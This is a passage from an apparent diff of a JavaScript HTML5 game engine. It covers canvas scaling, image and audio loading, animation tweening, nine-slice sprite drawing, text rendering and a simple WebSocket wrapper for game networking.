obj.GameTxtStyle - 1; + gameabc_face.setdiv_text(obj2.uipointer, txt); + } + ; + } + ;break; + } + ;if (obj2) { + gameabc_Object["sp" + ObjectID] = obj2; + obj2.classid = op; + obj.obj2 = obj2; + obj2.z = z; + if (Parent) { + obj2.f = Parent; + } + ;obj2.uidata = obj; + if (obj.canclick) { + obj2.canclick = obj.canclick; + } + ;if (objs[ObjectID].visbale) { + obj2.visbale = obj.visbale; + } + ;obj2.ontime = obj.TimerInterval; + obj2.groupid = obj.GroupID; + obj2.levelobj = gameabc_Layer.LayerList[z]; + } + ; +} +;function gameabc_getnewxywh2(myw, myh, w, h, cj) { + var sh, sw, ss, neww, newh, neww2, newh2; + sh = h / myh; + sw = w / myw; + var offx = 0 + , offy = 0; + switch (cj) { + case 2: + ss = Math.min(sh, sw); + neww = parseInt(myw * ss); + newh = parseInt(myh * ss); + neww2 = parseInt((w - neww) * 0.5); + newh2 = parseInt((h - newh) * 0.5); + if (Math.abs(neww2) > Math.abs(newh2)) { + offx = offx + neww2; + } else { + offy = offy + newh2; + } + ;return [offx, offy, neww, newh]; + break; + case 1: + ss = Math.max(sh, sw); + neww = parseInt(myw * ss); + newh = parseInt(myh * ss); + neww2 = parseInt((w - neww) * 0.5); + newh2 = parseInt((h - newh) * 0.5); + if (Math.abs(neww2) > Math.abs(newh2)) { + offx = offx + neww2; + } else { + offy = offy + newh2; + } + ;return [offx, offy, neww, newh]; + break; + default: + return [offx, offy, w, h]; + break; + } + ; +} +;function gameabc_getnewxywh(w, h, canvas1) { + var da; + da = gameabc_getnewxywh2(g_GameObjectManager.backBuffer.width, g_GameObjectManager.backBuffer.height, w, h, gameabc_face.jm_sj_cj); + gameabc_face.sy_x = da[0]; + gameabc_face.sy_y = da[1]; + gameabc_face.sy_w = da[2]; + gameabc_face.sy_h = da[3]; + if (canvas1) { + gameabc_setcanvas4(canvas1, da[0], da[1], da[2], da[3]); + var ui = g_GameObjectManager; + var ifastbkoff = 5; + if (ui.bg1) { + if (da[0] > 0) { + ui.bg1.height = h; + ui.bg1.width = da[0] + ifastbkoff; + ui.bg1.style.height = h + "px"; + ui.bg1.style.width = da[0] + ifastbkoff + "px"; + ui.bg1.style.left = 0 + "px"; + ui.bg1.style.top = 0 + "px"; + ui.d2dbj1.fillStyle = "red"; + ui.d2dbj1.clearRect(0, 0, ui.bg1.width, ui.bg1.height); + ui.bg1.x = 0; + ui.bg1.y = 0; + ui.bg1.w = da[0] + ifastbkoff; + ui.bg1.h = h; + ui.bg2.height = h; + ui.bg2.width = da[0] + ifastbkoff; + ui.bg2.style.height = h + "px"; + ui.bg2.style.width = da[0] + ifastbkoff + "px"; + ui.bg2.style.left = da[0] + da[2] - ifastbkoff + "px"; + ui.bg2.style.top = 0 + "px"; + ui.d2dbj2.fillStyle = "yellow"; + ui.d2dbj2.clearRect(0, 0, ui.bg2.width, ui.bg2.height); + ui.bg2.x = da[0] + da[2] - ifastbkoff; + ui.bg2.y = 0; + ui.bg2.w = da[0] + ifastbkoff; + ui.bg2.h = h; + } else { + ui.bg1.height = da[1] + ifastbkoff; + ui.bg1.width = w; + ui.bg1.style.height = da[1] + ifastbkoff + "px"; + ui.bg1.style.width = w + "px"; + ui.bg1.style.left = 0 + "px"; + ui.bg1.style.top = 0 + "px"; + ui.d2dbj1.fillStyle = "red"; + ui.d2dbj1.clearRect(0, 0, ui.bg1.width, ui.bg1.height); + ui.bg1.x = 0; + ui.bg1.y = 0; + ui.bg1.w = 0; + ui.bg1.h = da[1] + ifastbkoff; + ui.bg2.height = da[1] + ifastbkoff; + ui.bg2.width = w; + ui.bg2.style.height = da[1] + ifastbkoff + "px"; + ui.bg2.style.width = w + "px"; + ui.bg2.style.left = 0 + "px"; + ui.bg2.style.top = da[1] + da[3] - ifastbkoff + "px"; + ui.d2dbj2.fillStyle = "yellow"; + ui.d2dbj2.clearRect(0, 0, ui.bg2.width, ui.bg2.height); + ui.bg2.x = 0; + ui.bg2.y = da[1] + da[3] - ifastbkoff; + ui.bg2.w = w; + ui.bg2.h = da[1] + ifastbkoff; + } + } + } + ; +} +;function gameabc_setcanvas4(canvas1, x, y, w, h) { + if (!gameabc_face.dfwgao) { + canvas1.height = h; + canvas1.width = w; + } else { + canvas1.height = h * iui.ratio; + canvas1.width = w * iui.ratio; + canvas1.style.height = h + "px"; + canvas1.style.width = w + "px"; + } + ;canvas1.style.left = x + "px"; + canvas1.style.top = y + "px"; + canvas1.left = x; + canvas1.top = y; + gameabc_face.sy_x = x; + gameabc_face.sy_y = y; + gameabc_face.sy_w = w; + gameabc_face.sy_h = h; +} +;function gameabc_setcanvas3(canvas1, w, h) { + gameabc_setcanvas2(g_GameObjectManager.backBuffer); + gameabc_setcanvas2(canvas1); + gameabc_getnewxywh(w, h, canvas1); + document.body.style.backgroundColor = "black"; + gameabc_face.showmode = 0; + gameabc_face.mouse_sx = g_GameObjectManager.backBuffer.width / gameabc_face.sy_w; + gameabc_face.mouse_sy = g_GameObjectManager.backBuffer.height / gameabc_face.sy_h; + if (gameabc_face.jm_sj_xz == 1) { + var x1 = g_GameObjectManager.backBuffer.width / g_GameObjectManager.backBuffer.height; + var y1 = w / h; + if (x1 > 1 && y1 > 1) { + gameabc_face.jm_sj_tong = 1; + } + ;if (x1 < 1 && y1 < 1) { + gameabc_face.jm_sj_tong = 1; + } + ;if (x1 > 1 && y1 < 1) { + gameabc_face.jm_sj_tong = 0; + } + ;if (x1 < 1 && y1 > 1) { + gameabc_face.jm_sj_tong = 0; + } + ; + } + ; +} +;function gameabc_setcanvas1(canvas1, w, h) { + canvas1.height = h; + canvas1.width = w; +} +;function gameabc_setcanvas2(canvas1) { + gameabc_setcanvas1(canvas1, gameabc_Project.Property.ScreenWidth, gameabc_Project.Property.ScreenHeight); +} +;function gameabc_load_img1(g_image1, path, imgpath, okfunc) { + g_image1.error = 0; + g_image1.ok = 0; + var count = 0; + g_image1.onload = function() { + this.ok = 1; + gameabc_face.img_list_downing.removeObject(this); + if (this.backBuffer) { + delete this.backBuffer; + delete this.mydc; + } + ;this.backBuffer = undefined; + gameabc_check_img_ok(); + if (gameabc_face.onloadurl) { + gameabc_face.drawcharge = 1; + gameabc_face.onloadurl(0, 1, this.pathx, 0, gameabc_face.loadcount); + } else { + gameabc_face.drawcharge = 1; + if (gameabc_face.loadcount == 100) { + game_close_zsmsg(""); + } else { + game_open_zsmsg(gameabc_face.loadcount + "%" + " 加载..."); + } + ; + } + ; + } + ; + g_image1.onerror = function() { + this.error = this.error + 1; + gameabc_face.drawcharge = 1; + if (this.error == 3) { + var canvas = document.createElement("canvas"); + canvas.width = this.allw; + canvas.height = this.allh; + var c2d = canvas.getContext("2d"); + c2d.drawImage(gameabc_face.banall_img, 0, 0, 1, 1, 0, 0, this.allw, this.allh); + this.src = canvas.toDataURL("image/png"); + this.ok = 1; + gameabc_face.img_list_downing.removeObject(this); + if (this.backBuffer) { + delete this.backBuffer; + delete this.mydc; + } + ;this.backBuffer = undefined; + canvas = null; + } else { + this.src = this.pathx + "?kk=" + ifast_random(gameabc_face.randombase) + 10; + return; + } + ;gameabc_check_img_ok(); + if (gameabc_face.onloadurl) { + gameabc_face.drawcharge = 1; + gameabc_face.onloadurl(0, 1, this.pathx, 1, gameabc_face.loadcount); + } else { + gameabc_face.drawcharge = 1; + if (gameabc_face.loadcount == 100) { + game_close_zsmsg(""); + } else { + game_open_zsmsg(gameabc_face.loadcount + "%" + " 加载..."); + } + ; + } + } + ; + g_image1.src_pre = path + "/" + imgpath + "?kk=" + ifast_random(gameabc_face.randombase) + 10; + gameabc_face.img_list_pre.push(g_image1); + g_image1.pathx = path + "/" + imgpath; +} +;function gameabc_check_img_ok(image_id) { + if (image_id > 0) { + if (!gameabc_Image.ImageFileList[image_id].img) { + return 0; + } + ;return gameabc_Image.ImageFileList[image_id].img.ok; + } else { + var i; + var y = 0; + var t = 0; + for (i = 1; i < gameabc_Image.ImageFileList.length; i++) { + if (!gameabc_Image.ImageFileList[i].img) { + continue; + } + ;t++; + if (gameabc_Image.ImageFileList[i].img.ok == 1) { + y++; + } + } + ;if (y >= t) { + gameabc_face.loadcount = 100; + return 100; + } else { + gameabc_face.loadcount = parseInt((y / t) * 100); + return gameabc_face.loadcount; + } + } +} +;function gameabc_load_img_ok(image_id) { + gameabc_Image.ImageFileList[image_id].img.ok = 1; +} +;function gameabc_load_img3(image_id, okfunc) { + var objimg = gameabc_Image.ImageFileList[image_id]; + game_abc_imgpath = gameabc_face.path; + if (objimg.img == undefined) { + objimg.img = new Image(); + objimg.img.id = image_id; + objimg.img.ok = 0; + objimg.img.allw = objimg.w_all; + objimg.img.allh = objimg.h_all; + gameabc_load_img1(objimg.img, game_abc_imgpath, objimg.bmp, okfunc) + } + ;return objimg.img; +} +;function gameabc_load_img_add(image_id, url, okfunc) { + game_abc_imgpath = gameabc_face.path; + var objimg = gameabc_Image.ImageFileList[image_id]; + if (objimg.img == undefined) { + objimg.img = new Image(); + objimg.img.id = image_id; + objimg.img.ok = 0; + objimg.img.allw = objimg.w_all; + objimg.img.allh = objimg.h_all; + gameabc_load_img1(objimg.img, game_abc_imgpath, objimg.bmp, okfunc) + } + ;return objimg.img; +} +;function gameabc_load_img2(image_id, okfunc) { + game_abc_imgpath = gameabc_face.path; + var objimg = gameabc_Image.ImageFileList[image_id]; + if (objimg.img == undefined) { + objimg.img = new Image(); + objimg.img.id = image_id; + objimg.img.ok = 0; + objimg.img.allw = objimg.w_all; + objimg.img.allh = objimg.h_all; + gameabc_load_img1(objimg.img, game_abc_imgpath, objimg.bmp, okfunc) + } + ;return objimg.img; +} +;function gameabc_load_wav1(g_wav1, path, imgpath) {} +;function gameabc_load_wav1_ok(wav_id) { + gameabc_Voice.VoiceFileList[1].wav1.ok = 1; +} +;function gameabc_load_wav2(wav_id, okfunc) { + return gameabc_Image.ImageFileList[image_id].img; +} +;ifastunit = 8; +var ifast_wss = ifast_wss || {}; +ifast_wss.list = new Array(); +ifast_wss.listani = new Array(); +ifast_wss.listbox = new Array(); +function dfwplaybox(zt, id, sx, start, startv, av, timelen, obj) { + var self = this; + if (obj) { + if (typeof (obj) == "object") { + self = obj; + } + ; + } + ;self.myid = id * 1000000 + sx; + self.zt = zt; + self.id = id; + self.sx = sx; + self.start = start; + self.startv = startv; + self.av = av; + if (timelen) { + self.timelen = timelen; + } else { + self.timelen = 0; + } + ;self.aniopentime = gameabc_face.nowttime; + self.aniusetime = 0; + self.aniusetimeone = 0; + self.aniusecs = 0; + self.nowttime = gameabc_face.nowttime; + self.run = 1; +} +;function dfwplayani(zt, id, sx, start, end, times0, timelen, timee, timesz, timese, timesall, timeall, xhmode, obj) { + var self = this; + if (obj) { + if (typeof (obj) == "object") { + self = obj; + } + ; + } + ;self.myid = id * 1000000 + sx; + self.zt = zt; + self.id = id; + self.sx = sx; + self.start = start; + self.end = end; + self.times0 = times0; + self.timelen = timelen; + self.timee = timee; + if (timesz) { + self.timesz = timesz; + } else { + self.timesz = 0; + } + ;if (timese) { + self.timese = timese; + } else { + self.timese = 0; + } + ;if (timesall) { + self.timesall = timesall; + } else { + self.timesall = 0; + } + ;if (timeall) { + self.timeall = timeall; + } else { + self.timeall = 0; + } + ;if (xhmode) { + self.xhmode = xhmode; + } else { + self.xhmode = 0; + } + ;self.aniopentime = gameabc_face.nowttime; + self.aniusetime = 0; + self.aniusetimeone = 0; + self.aniusecs = 0; + self.nowttime = gameabc_face.nowttime; + self.run = 1; +} +;ifast_wss.copyid = function(str) { + var i, k; + for (var i = 0; i < str.length; i++) { + if (str[i] == "i") { + k = i; + break; + } + ; + } + ;return parseInt(str.substr(0, k)); +} +; +ifast_wss.playbox = function(zt, id, sx, start, startv, av, timelen) { + var idid = id + "ibox" + sx; + if (id > 0 && sx <= 0) { + var o; + var ido; + for (o = 0; o < this.listbox.length; o++) { + idid = this.listbox[o]; + ido = this.copyid(idid); + if (ido == id) { + this.listbox[idid].zt = 0; + } + } + ;return; + } + ;if (id <= 0 && sx <= 0) { + var o; + for (o = 0; o < this.listbox.length; o++) { + idid = this.listbox[o]; + this.listbox[idid].zt = 0; + } + ;return; + } + ;if (this.listbox[idid] == undefined || this.listbox[idid] == null) { + if (zt <= 0) { + return null; + } + ;var dfwplaybox1 = new dfwplaybox(zt,id,sx,start,startv,av,timelen); + this.listbox[idid] = dfwplaybox1; + this.listbox.push(idid); + return dfwplaybox1; + } else { + if (zt <= 0) { + if (this.listbox.length < 40) { + this.listbox[idid].zt = zt; + } else { + this.listbox[idid] = null; + delete this.listbox[idid]; + this.listbox.removeObject(idid); + } + ; + } else { + var self = this.listbox[idid]; + dfwplaybox(zt, id, sx, start, startv, av, timelen, self); + } + ; + } + ; +} +; +ifast_wss.playani = function(zt, id, sx, start, end, times0, timelen, timee, timesz, timese, timesall, timeall, xhmode) { + if (timelen <= 0 && zt > 0) { + logmessage("playani--timelen参数不能为0"); + return; + } + ;var idid = id + "iani" + sx; + if (id > 0 && sx <= 0) { + var o; + var ido; + for (o = 0; o < this.listani.length; o++) { + idid = this.listani[o]; + ido = this.copyid(idid); + if (ido == id) { + this.listani[idid].zt = 0; + } + } + ;return; + } + ;if (id <= 0 && sx <= 0) { + var o; + for (o = 0; o < this.listani.length; o++) { + idid = this.listani[o]; + this.listani[idid].zt = 0; + } + ;return; + } + ;if (this.listani[idid] == undefined || this.listani[idid] == null) { + if (zt == 0) { + return null; + } + ;var dfwplayani1 = new dfwplayani(zt,id,sx,start,end,times0,timelen,timee,timesz,timese,timesall,timeall,xhmode); + this.listani[idid] = dfwplayani1; + this.listani.push(idid); + return dfwplayani1; + } else { + if (zt <= 0) { + if (this.listani.length < 40) { + this.listani[idid].zt = zt; + } else { + this.listani[idid] = null; + delete this.listani[idid]; + this.listani.removeObject(idid); + } + } else { + var self = this.listani[idid]; + dfwplayani(zt, id, sx, start, end, times0, timelen, timee, timesz, timese, timesall, timeall, xhmode, self); + } + ; + } + ; +} +; +var gameabc_back = 0; +function gameabc_runani(obj) { + if (!obj) { + var i; + var b = ifast_wss.listani; + for (x in b) { + if (typeof (b[x]) == "object") { + gameabc_face.drawcharge = 1; + gameabc_runani(b[x]); + } + ; + } + ;return; + } + ;if (obj.zt <= 0) { + return; + } + ;var t = gameabc_face.nowttime - obj.aniopentime; + var t2 = obj.times0 + obj.timelen + obj.timee; + if ((t <= obj.timeall || obj.timeall == 0) && (obj.timesall == 0 || obj.aniusecs < obj.timesall)) { + var cs; + var cstime; + var u; + if (t < obj.timesz) { + return; + } + ;t = t - obj.timesz; + cs = ifast_div(t, t2); + { + if (obj.aniusecs < cs) { + obj.aniusecs = cs; + if (gameabc_face.ani_doend) { + if (ifast_mod(obj.aniusecs, 2) == 0) { + set_self(obj.id, obj.sx, obj.start, 0, 0); + } else { + set_self(obj.id, obj.sx, obj.end, 0, 0); + } + ;gameabc_face.ani_doend(obj.id, obj.sx, obj.aniusecs, 0); + } + ;return; + } + } + ;cstime = ifast_mod(t, t2) - obj.times0; + switch (obj.xhmode) { + case 2: + u = ifast_random(obj.end - obj.start) + obj.start; + set_self(obj.id, obj.sx, parseInt(u), 0, 0); + break; + case 0: + u = (obj.end - obj.start) * (cstime / obj.timelen) + obj.start; + set_self(obj.id, obj.sx, parseInt(u), 0, 0); + break; + case 1: + if (ifast_mod(obj.aniusecs, 2) == 0) { + u = (obj.end - obj.start) * (cstime / obj.timelen) + obj.start; + } else { + u = obj.end - (obj.end - obj.start) * (cstime / obj.timelen); + } + ;set_self(obj.id, obj.sx, parseInt(u), 0, 0); + break; + default: + break; + } + ; + } else { + if (obj.run == 1) { + obj.run = 0; + if (gameabc_face.ani_doend) { + gameabc_face.ani_doend(obj.id, obj.sx, obj.aniusecs, 1); + } + } + } +} +;function gameabc_runbox(obj) { + if (!obj) { + var i; + var b = ifast_wss.listbox; + for (x in b) { + if (typeof (b[x]) == "object") { + gameabc_face.drawcharge = 1; + gameabc_runbox(b[x]); + } + ; + } + ;return; + } + ;if (obj.zt <= 0) { + return; + } + ;var t = gameabc_face.nowttime - obj.aniopentime; + if (t < obj.timelen || obj.timelen == 0) { + t = t / 1000; + var v2 = (obj.startv + obj.av * t / 2) * t; + var u = parseInt(obj.start + v2); + set_self(obj.id, obj.sx, u, 0, 0); + } else { + if (obj.run == 1) { + if (gameabc_face.box_doend) { + gameabc_face.box_doend(obj.id, obj.sx, obj.timelen); + } + ;obj.run = 0; + } + } + ; +} +;function gameabc_toclient(mode, obj, ctx) { + if (mode == 1) { + ctx.translate(obj.x, obj.y); + ctx.translate(obj.w / 2 + obj.cx, obj.h / 2 + obj.cy); + } else { + ctx.translate(-obj.w / 2 - obj.cx, -obj.h / 2 - obj.cy); + ctx.translate(-obj.x, -obj.y); + } +} +;function gameabc_save(obj, ctx) { + if (obj.arge != 0 || obj.ap != 255 || obj.hu != 0 || obj.jx != 0) { + gameabc_back = 1; + } + ; +} +;function gameabc_restore(obj, ctx) { + if (gameabc_back == 1) {} + ;gameabc_back = 0; +} +;function gameabc_charge(obj, ctx) { + if (obj.arge != 0) { + gameabc_toclient(1, obj, ctx); + ctx.rotate(obj.arge * Math.PI / 180); + gameabc_toclient(0, obj, ctx); + } + ;if (obj.ap != 255) { + if (obj.ap <= 0) { + ctx.globalAlpha = 0; + } else { + if (obj.ap >= 255) { + ctx.globalAlpha = 1; + } else { + ctx.globalAlpha = obj.ap / 255; + } + ; + } + ; + } + ;if (obj.hu != 0) {} + ;if (obj.scale != 100) { + var t = obj.scale / 100; + gameabc_toclient(1, obj, ctx); + ctx.scale(t, t); + gameabc_toclient(0, obj, ctx); + } + ;switch (obj.jx) { + case 1: + gameabc_toclient(1, obj, ctx); + ctx.scale(1, -1); + gameabc_toclient(0, obj, ctx); + break; + case 2: + gameabc_toclient(1, obj, ctx); + ctx.scale(-1, 1); + gameabc_toclient(0, obj, ctx); + break; + } + ; +} +;function bw_method(ctx, image, pc, x, y) { + if (!pc) { + pc = 3; + } + ;ctx.save(); + var block, block, white, blue, alpha, len, imageData, average; + len = image.width * image.height; + ctx.drawImage(image, x, y); + imageData = ctx.getImageData(x, y, image.width, image.height); + for (var i = 0; i < len * 4; i += 4) { + block = imageData.data[i]; + white = imageData.data[i + 1]; + blue = imageData.data[i + 2]; + alpha = imageData.data[i + 3]; + average = Math.floor((block + white + blue) / pc); + imageData.data[i] = average; + imageData.data[i + 1] = average; + imageData.data[i + 2] = average; + } + ;ctx.putImageData(imageData, x, y); + ctx.restore(); +} +;function ifast_input() { + inputdiv = document.createElement("div"); + inputdiv.setAttribute("id", "inputdiv"); + inText = document.createElement("input"); + inText.setAttribute("type", "text"); + inText.style.width = "50px"; + inDiv.appendChild(inText); +} +;function ifast_ws(id) { + this.tcpid = id; + this.father = ifast_wss.list; + this.isopen = 0; + this.isdiscon = 0; +} +;ifast_ws.prototype.onopen = function(msg) { + if (ifast_wss.list[this.tcpid] != undefined) { + ifast_wss.list[this.tcpid].isopen = 1; + } + ;if (gameabc_face.tcpconnected) { + gameabc_face.tcpconnected(this.tcpid, msg); + } + ; +} +; +ifast_ws.prototype.onmessage = function(msg) { + if (gameabc_face.tcpmessage) + gameabc_face.tcpmessage(this.tcpid, msg.data); +} +; +ifast_ws.prototype.onclose = function() { + if (ifast_wss.list[this.tcpid] != undefined) { + ifast_wss.list[this.tcpid].isopen = 0; + ifast_wss.list[this.tcpid].isdiscon = 1; + } + ;if (gameabc_face.tcpdisconnected) + gameabc_face.tcpdisconnected(this.tcpid); +} +; +ifast_ws.prototype.onerror = function(msg) { + if (ifast_wss.list[this.tcpid] != undefined) { + ifast_wss.list[this.tcpid].isopen = 0; + ifast_wss.list[this.tcpid].isdiscon = 1; + } + ;if (gameabc_face.tcperror) + gameabc_face.tcperror(this.tcpid, msg.Data); +} +; +ifast_wss.open = function(tcpid, weburl) { + if (this.list[tcpid] == undefined) { + var ifast_ws1 = new ifast_ws(tcpid); + this.list[tcpid] = ifast_ws; + if (weburl.substring(0, 2) != "ws") { + weburl = "ws://" + weburl; + } + ;this.list[tcpid].tcp = new WebSocket(weburl); + this.list[tcpid].tcp.onopen = ifast_ws1.onopen; + this.list[tcpid].tcp.onclose = ifast_ws1.onclose; + this.list[tcpid].tcp.onmessage = ifast_ws1.onmessage; + this.list[tcpid].tcp.onerror = ifast_ws1.onerror; + this.list[tcpid].tcp.tcpid = tcpid; + this.list[tcpid].tcp.father = ifast_wss.list; + this.list[tcpid].tcp.isopen = 0; + this.list[tcpid].tcp.isdiscon = 0; + } + ;return this.list[tcpid]; +} +; +ifast_wss.close = function(tcpid) { + if (this.list[tcpid] != undefined) { + this.list[tcpid].tcp.close(); + } +} +; +ifast_wss.send = function(tcpid, msg) { + if (this.list[tcpid] != undefined) { + this.list[tcpid].tcp.send(msg); + } +} +; +var ifast_wav = ifast_wav || {}; +ifast_wav.list = new Array(); +function wavload() { + this.loop = this.audios[id].isloop == 1; + this.play(); +} +;ifast_wav.getend = function(id, isloop1) { + var a = 0; + var audio = this.getAudio(id, isloop1); + if (audio != null) { + a = audio.ended; + } + ;return a; +} +; +ifast_wav.end = function(id, isloop1) { + var audio = this.getAudio(id, isloop1); + if (audio != null) { + this.audios[id].src = ""; + } +} +; +ifast_wav.start = function(id, isloop1) { + var audio = this.getAudio(id, isloop1); + if (audio != null) { + this.audios[id].src = gameabc_face.wavpath + "/" + id; + } + ; +} +; +ifast_wav.ready = function(id, isloop1) { + var a = 0; + var audio = this.getAudio(id, isloop1); + if (audio != null) { + a = audio.readyState; + } + ;return a; +} +; +ifast_wav.loadall = function(files) { + var strs = new Array(); + strs = files.split(";"); + var i; + if (strs.length <= 0) { + return; + } + ;for (i = 0; i < strs.length; i++) { + ifast_wav.getAudio(strs[i]); + } +} +; +ifast_wav.getAudio = function(id, isloop1) { + if (this.audios == undefined) + this.audios = {}; + if (this.audios[id] == undefined) { + this.audios[id] = new Audio(); + this.audios[id].ok = 0; + this.audios[id].ok = 0; + this.audios[id].addEventListener("canplaythrough", function() { + this.ok = 1; + }, false); + this.audios[id].src_pre = gameabc_face.wavpath + "/" + id; + this.audios[id].src = gameabc_face.wavpath + "/" + id; + } + ;return this.audios[id]; +} +; +ifast_wav.playwav = function(id, isloop1) { + audio = this.getAudio(id, isloop1); + if (audio != null) { + if (isloop1 < 0) { + audio.pause(); + return; + } + ;if (isloop1 == 1) { + audio.loop = "loop"; + } else { + audio.loop = ""; + } + ;if (audio.ok == 1) { + audio.currentTime = 0; + audio.autoplay = "true"; + audio.play(); + } else { + audio.autoplay = "true"; + audio.play(); + } + ;if (audio.loop == true) { + audio.addEventListener('ended', function() { + this.currentTime = 0; + this.autoplay = "true"; + this.play(); + }, false); + } + } + ; +} +; +function gameabc() { + this.gameabc_open = function(image1, x, y, z) { + this.startupGameObject(x, y, z); + this.image = image1; + return this; + } + ; + this.gameabc_close = function() { + this.shutdownGameObject(); + } + ; +} +;gameabc.prototype = new VisualGameObject; +function gameabc_img() { + this.gameabc_open = function(image, x, y, z) { + this.startupGameObject(x, y, z); + this.image = image; + return this; + } + ; + this.gameabc_close = function() { + this.shutdownGameObject(); + } + ; + this.draw = function(dt, context, xScroll, yScroll) { + if (this.image == null) { + return; + } + ;if (this.image.ok == 0) { + return; + } + { + if (dfwusercavans != 1) { + this.drawimage = this.image; + } else { + this.drawimage = gameabc_face.createcanvas(this.image); + } + } + ;gameabc_save(this, context); + try{//-------------xwb------------ + + gameabc_charge(this, context); + var r; + if (this.uidata.FrameStyle == 0) { + if (this.uidata.L9 == 0) { + r = gameabc_getrect2(this.recid, this.frame); + context.drawImage(this.drawimage, r.x, r.y, r.w, r.h, this.x - xScroll, this.y - yScroll, this.w, this.h); + } else { + r = gameabc_getrect2(this.recid, 1); + yScroll = 0; + xScroll = 0; + context.drawImage(this.drawimage, 0, 0, this.uidata.L9, this.uidata.T9, this.x - xScroll, this.y - yScroll, this.uidata.L9, this.uidata.T9); + context.drawImage(this.drawimage, this.uidata.L9, 0, r.w - this.uidata.L9 - this.uidata.R9, this.uidata.T9, this.x + this.uidata.L9 - xScroll, this.y - yScroll, this.w - this.uidata.L9 - this.uidata.R9, this.uidata.T9); + context.drawImage(this.drawimage, r.w - this.uidata.R9, 0, this.uidata.R9, this.uidata.T9, this.x + this.w - this.uidata.R9 - xScroll, this.y - yScroll, this.uidata.R9, this.uidata.T9); + context.drawImage(this.drawimage, 0, r.h - this.uidata.B9, this.uidata.L9, this.uidata.B9, this.x - xScroll, this.y + this.h - this.uidata.B9 - yScroll, this.uidata.L9, this.uidata.B9); + context.drawImage(this.drawimage, this.uidata.L9, r.h - this.uidata.B9, r.w - this.uidata.L9 - this.uidata.R9, this.uidata.B9, this.x + this.uidata.L9 - xScroll, this.y + this.h - this.uidata.B9 - yScroll, this.w - this.uidata.L9 - this.uidata.R9, this.uidata.B9); + context.drawImage(this.drawimage, r.w - this.uidata.R9, r.h - this.uidata.B9, this.uidata.R9, this.uidata.B9, this.x + this.w - this.uidata.R9 - xScroll, this.y + this.h - this.uidata.B9 - yScroll, this.uidata.R9, this.uidata.B9); + context.drawImage(this.drawimage, 0, this.uidata.T9, this.uidata.L9, r.h - this.uidata.B9 - this.uidata.T9, this.x - xScroll, this.y + this.uidata.T9 - yScroll, this.uidata.L9, this.h - this.uidata.B9 - this.uidata.T9); + context.drawImage(this.drawimage, this.uidata.L9, this.uidata.T9, r.w - this.uidata.L9 - this.uidata.R9, r.h - this.uidata.B9 - this.uidata.T9, this.x + this.uidata.L9 - xScroll, this.y + this.uidata.T9 - yScroll, this.w - this.uidata.L9 - this.uidata.R9, this.h - this.uidata.B9 - this.uidata.T9); + context.drawImage(this.drawimage, r.w - this.uidata.R9, this.uidata.T9, this.uidata.R9, r.h - this.uidata.B9 - this.uidata.T9, this.x + this.w - this.uidata.R9 - xScroll, this.y + this.uidata.T9 - yScroll, this.uidata.R9, this.h - this.uidata.B9 - this.uidata.T9); + } + } else { + var len1 = this.caption.length; + var dolen = 0; + var doframe; + var r_tempw = this.w / len1; + for (dolen = 0; dolen < len1; dolen++) { + doframe = this.caption[dolen].charCodeAt(); + if (doframe > 60) { + doframe = doframe - 87; + } else { + doframe = doframe - 47; + } + ;r = gameabc_getrect2(this.recid, doframe); + context.drawImage(this.drawimage, r.x, r.y, r.w, r.h, this.x + dolen * r_tempw - xScroll, this.y - yScroll, r_tempw, this.h); + } + } + ;if (this.color != 0) { + gameabc_face.zz2d.clearRect(0, 0, 1, 1); + gameabc_face.zz2d.fillStyle = this.color; + gameabc_face.zz2d.fillRect(0, 0, 1, 1); + context.drawImage(gameabc_face.zz_canvas, 0, 0, 1, 1, this.x, this.y, this.w, this.h); + } + }catch(e){ + + } + ;gameabc_restore(this, context); + } + ; +} +;gameabc_img.prototype = new VisualGameObject; +function gameabc_imgtxt() { + this.gameabc_open = function(txt, x, y, z, hsize, wsize) { + this.startupGameObject(x, y, z); + this.caption = txt; + this.h = hsize; + if (wsize) + this.w = wsize; + return this; + } + ; + this.gameabc_close = function() { + this.shutdownGameObject(); + } + ; + this.draw = function(dt, context, xScroll, yScroll) { + if (this.uidata.GameTxtStyle > 0) { + return; + } + ;gameabc_save(this, context); + gameabc_charge(this, context); + context.textBaseline = "top"; + context.fillStyle = gameabc_GameTxt.GameTxtList[this.frame].Color; + context.font = 'lighter ' + this.h + 'px Arial'; + this.caption = gameabc_GameTxt.GameTxtList[this.frame].Text; + if (this.uidata.GameTxtStyle == 0) { + gameabc_drawtext = this.caption; + } else { + gameabc_drawtext = gameabc_password.substring(0, this.caption.length + 1); + } + ;if (this.w > 0) { + context.fillText(gameabc_drawtext, this.x - xScroll, this.y - yScroll, this.w); + } else { + context.fillText(gameabc_drawtext, this.x - xScroll, this.y - yScroll); + } + ;gameabc_restore(this, context); + } +} +;gameabc_imgtxt.prototype = new VisualGameObject; +function draw2(obj, context, ctx) { + context.textBaseline = "top"; + var h = obj.h * iui.ratio; + context.font = 'lighter ' + h + 'px Arial'; + var w = context.measureText(obj.caption).width; + context.clearRect(0, 0, w, h); + if (obj.uidata.BackColorA != 0) { + context.fillStyle = obj.uidata.BackColor; + context.fillRect(0, 0, w, h); + } + ;context.fillStyle = obj.uidata.FontColor; + context.fillText(obj.caption, 0, 0); + ctx.drawImage(iui.test, 0, 0, w, h, obj.x, obj.y, w / iui.ratio, obj.h); +} +;function gameabc_txt() { + this.gameabc_open = function(txt, x, y, z, hsize, wsize) { + this.startupGameObject(x, y, z); + this.caption = txt; + this.h = hsize; + if (wsize) + this.w = wsize; + return this; + } + ; + this.gameabc_close = function() { + this.shutdownGameObject(); + } + ; + this.draw = function(dt, context, xScroll, yScroll) { + if (this.uidata.GameTxtStyle > 0) { + return; + } + ;context.textBaseline = "top"; + if (this.uidata.BackColorA != 0) { + context.fillStyle = this.uidata.BackColor; + context.fillRect(this.x, this.y, this.w, this.h); + } + ;context.fillStyle = this.uidata.FontColor; + context.font = 'lighter ' + this.h + 'px Arial'; + if (this.caption.indexOf("\n") > 0) { + var strs = new Array(); + strs = this.caption.split("\n"); + if (this.uidata.BackColorA != 0) { + context.fillStyle = this.uidata.BackColor; + context.fillRect(this.x, this.y, this.w, this.h * strs.length); + } + ;for (var i = 0; i < strs.length; i++) { + context.fillText(strs[i], this.x - xScroll, this.y - yScroll + this.h * i); + } + ;return; + } + ;context.fillText(this.caption, this.x - xScroll, this.y - yScroll); + } +} +;gameabc_txt.prototype = new VisualGameObject; +function Div(exp1, exp2) { + var n1 = Math.round(exp1); + var n2 = Math.round(exp2); + var rslt = n1 / n2; + if (rslt >= 0) { + rslt = Math.floor(rslt); + } else { + rslt = Math.ceil(rslt); + } + ;return rslt; +} +;function gameabc_list() { + this.gameabc_open = 